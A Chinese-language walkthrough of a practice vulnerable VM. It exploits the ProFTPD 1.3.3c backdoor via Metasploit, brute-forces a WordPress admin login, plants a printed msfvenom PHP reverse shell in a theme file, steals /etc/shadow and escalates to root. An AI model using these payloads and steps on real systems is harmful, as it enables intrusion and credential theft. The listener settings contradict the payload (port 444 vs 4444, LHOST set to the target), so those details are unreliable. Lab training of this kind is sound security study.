前言
此靶场可以练习暴力破解和简单的漏洞利用
靶场下载地址。
链接:https://pan.baidu.com/s/1mpB-pQ8i_FyG5fEI3H6U5w
提取码:j318
假设攻击击KALI的地址是:192.168.206.1
靶机IP地址是:192.168.205.78
一.信息收集
首先做网络发现,使用如下命令。
netdiscover -r 192.168.206.1
如下图👇发现了靶机IP地址。
然后做更详细的信息收集,这里使用的是nmap
命令,如下命令,nmap的详细用法👉nmap的基本用法。
nmap -A -T4 -p 0-65535 192.168.205.78
如下图扫描结果👇,发现开放了21 22 80
端口,和对应的各个服务,22
端口指的是可能远程SSH连接,21
端口是FTP文件传输服务,80
端口是Web服务。
直接访问IP地址,发现是一个网页,如下图👇。
二.ProFTPD漏洞利用
因为有详细的版本号,这里直接在Kali打开Metasploit
,命令是如下启动👇。
Msfconsole
启动效果如下图。
由于我们要寻找的是ProFTPD的漏洞,那么就需要进行搜索使用命令如下👇。
search ProFTPD
如下图效果👇。
因为这里的ProFTPD版本是1.3.3c这里碰巧就有这个版本,所以我们就使用这个版本即可也就是第五个模块,使用命令如下👇。
use exploit/unix/ftp/proftpd_133c_backdoor
输入完毕之后就可以,设置payload了,查看可以使用多少个payload,使用命令如下👇。
show payloads
如下图所示👇,这里使用的是第三个payloads。
设置payloads命令如下👇。
set payload cmd/unix/reverse
然后查看需要做什么配置,命令如下。
show options
如下图👇,发现需要做配置的有LHOST
和RHOSTS
,如下图。
配置好靶机IP地址和KALI的IP地址即可如下👇。
set RHOSTS 192.168.205.78
set LHOST 192.168.206.1
然后输入如下命令即可开始攻击。
exploit
如下图效果👇,红色箭头代表的是输入的命令,这里需要切换BASH。
切换BASH命令如下👇。
python -c "import pty; pty.spawn('/bin/bash')"
切换到bash之后,发现是root用户,如下图👇,漏洞利用完毕。
三.暴力破解
这里使用另外一种方法来获取权限,但是比上面漏洞利用麻烦一点,通过信息收集可以知道,有80端口是开放了,是web服务,打开了,其实没有发现什么,使用KALI的dirb
工具进行目录扫描,命令如下👇。
dirb http://192.168.205.78
如下图所示👇,能发现,内部地址是wordpress
博客。
访问这个地址如下👇,这里的思路是使用wpscan
来扫描worpress,枚举一下用户。
输入如下👇命令来枚举wordpress用户。
wpscan --url http://192.168.205.78/secret --enumerate u
如下图👇,发现找到一个admin
用户,这里可以尝试使用暴力破解来猜测密码。
因为已经提前知道了是wordpress框架,所有就可以在网址后面加入wp-admin
来进入后台登录,http://192.168.205.78/secret/wp-admin
,如下图。
如果在访问的时候发现重定向到了vtcsec
,可以输入如下命令👇,然后按照图片操作即可。
vim /etc/hosts
这里暴力破解选择用Burpsuit来暴力破解
,首先抓登录包,如下图👇。
然后选择右键选择Intruder
,如下图👇。
然后按照如下图顺序点击选择👇点击。
之后在按照下图顺序点击选择👇。
然后在按照如下图设置👇,其中第三步,是加载字典,这里需要加载弱密码字典,然后右上角直接开始攻击即可
成功发现弱密码,是admin
,如下图。
1.生成木马
这里必须要生成PHP木马,方便后面做反弹,命令如下。
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.206.1 LPORT=444 -f raw
如下图效果下👇。
<?php /**/ error_reporting(0); $ip = '192.168.206.1'; $port = 444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
然后按照下面操作顺序操作即可。
然后访问404.php
即可,访问路径是IP地址/secret/wp-content/themes/twentyseventeen/404.php
。
如下图,访问,什么都没有,证明成功了👇。
2.获取shell
按照如下输入,开启监听👇
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > set LHOST 192.168.205.78
LHOST => 192.168.205.78
msf6 exploit(multi/handler) > exploit
[-] Handler failed to bind to 192.168.205.78:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
然后在访问一下404.php
即可获得,反弹shell。
成功获取shell之后就可以下载/etc/passwd
和/etc/shadow
文件即可,如下图。
3.合并文件
直接如下图操作即可,合并文件,破解文件密码。
4.提权
先获取到www用户,然后在获取到bash窗口,命令如下👇。
python -c "import pty; pty.spawn('/bin/bash')"
然后切换到marlinspike
用户,密码也是marlinspike
。
直接使用marlinspike
用户切换到root用户即可,没有限制,在marlinspike
用户下面输入。
sudo -i
结束。